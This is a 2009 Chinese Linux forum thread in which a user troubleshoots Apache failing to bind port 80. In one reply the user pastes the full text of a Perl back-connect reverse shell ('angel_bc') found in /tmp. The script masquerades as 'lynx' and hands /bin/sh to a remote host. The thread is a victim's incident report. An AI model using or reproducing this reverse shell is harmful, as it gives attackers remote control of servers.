LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 1226|回复: 4

apache问题

[复制链接]
发表于 2009-1-8 23:18:09 | 显示全部楼层 |阅读模式
想请教下高手在线等!谢谢

我遇到这样的情况
apache一启动开始有进程号。过一会守护进程号就会变为1.
提示的是
(98)Address already in use: make_sock: could not bind to address [::]:80
(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs
说我的端口被占用
我用命令#killall httpd关掉所有的httpd进程
然后重新启动apache,要不了多久依然这样
我试过很多方法
把apache的监听端口改为其它的,问题依旧。
httpd.conf配置文件里
servername我设置了的!
一直没查出来是什么原因。。
还请各位帮帮我。我在baidu和google上查过,能用的办法我都用了。问题还是没得到解决。
 楼主| 发表于 2009-1-8 23:33:41 | 显示全部楼层
我在服务器/tmp发现这个脚本(angel_bc)
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
~


不知道是不是服务器中招了?
回复 支持 反对

使用道具 举报

 楼主| 发表于 2009-1-8 23:52:51 | 显示全部楼层
当client端和服务器建立连接以后
这样的情况就会出现
[root@localhost tmp]# /usr/local/apache/bin/apachectl start
httpd (pid 3941) already running
[root@localhost tmp]# /usr/local/apache/bin/apachectl start
(98)Address already in use: make_sock: could not bind to address [::]:80
(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs
回复 支持 反对

使用道具 举报

 楼主| 发表于 2009-1-9 00:32:17 | 显示全部楼层
很郁闷
我把监听端口改为不常用的端口了
但是客服端只要发起连接以后
那么就会有端口冲突的提示了。
大家帮帮我啊。。谢谢!!!1
回复 支持 反对

使用道具 举报

发表于 2009-1-10 20:06:39 | 显示全部楼层
upup!!!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表